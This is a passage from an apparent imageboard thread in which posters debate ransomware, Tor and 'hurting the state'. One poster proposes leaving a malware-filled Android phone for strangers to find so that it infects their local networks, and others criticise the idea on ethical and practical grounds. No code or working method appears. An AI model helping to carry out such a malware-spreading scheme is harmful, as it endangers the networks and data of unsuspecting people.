all this type of tech. Economic incentives for people to write FOSS
and such.
That goes way further than trolling some company. A hack will be in
the news for like 1 day. Who has done more for the world, the Tor
Project or people who spread ransomware?
----------------------------------------------------------------------
SHODAN · 2022-08-01 23:24
>>19775
Ugh... I think we might have different political views. I'm not here
on Lainchan to be told what to do or not do. I'm here on Lainchan to
learn HOW to do what I want do. I'm not interested in people telling
me what is the right thing to do. I'm only intereted if they can tell
me how to do the things that I alerady want to do.
So if you don't want to tell me how to hurt the state, then we have
nothing to talk about.
> Who has done more for the world, the Tor Project or people who
spread ransomware?
I don't know about the "world". I'm not interested in the "world". I
only care about my own agenda. And for that it's deffinitely the
latter group.
----------------------------------------------------------------------
Zhora · 2022-08-02 14:11
I have another idea. I could buy a cheap Android phone, fill it up
with viruses from some kind of android malware repository, then place
it somewhere for people to find. When found ("stolen"), people would
bring it to their home or work-place and as soon as they would connect
it to their local network, the malware inside would start to spread
through the local network. I only need to find some kind of virus that
actually does this (spreading through local networks).
What do you think?
----------------------------------------------------------------------
Case · 2022-08-03 22:51
>>19777
>I don't know about the "world". I'm not interested in the "world". I
only care about my own agenda. And for that it's deffinitely the
latter group.
The people who have brought decent anonymity to tens of millions
worldwide and even managed to make internet anonymity more palatable
to the public, have done less than some dudes who steal something as
boring and useless as. . . money. Right.
----------------------------------------------------------------------
Demeere · 2022-08-04 02:09
>>19777
Not good enough to do it == not good enough to avoid getting caugh
NYPA
----------------------------------------------------------------------
Batou · 2022-08-04 04:23
>>19781
Most phone thiefs would not turn it on until handing it off to someone
who can wipe it. Otherwise they risk getting FindMyIphone'd.
----------------------------------------------------------------------
Meddler · 2022-08-04 04:47
>>19777
Lain, consider that the rise of ransomware is a direct consequence of
the invention and popularization of technologies enhancing the agency
of individuals, such as Tor and cryptocurrency. They do it because it
makes them money and they can, and they *can* because of work which
has been done further up the chain.
Maybe there are things you can do with a wireless jamming device that
will create an acute local impact that you can see and which makes you
feel like a cool cyber ninja freedom fighter, but the system is
designed to absorb and redirect such impacts. If your agenda is the
thing which you actually care about, you should be thinking about how
to adjust the state of the board, not fantasizing about capturing a
pawn.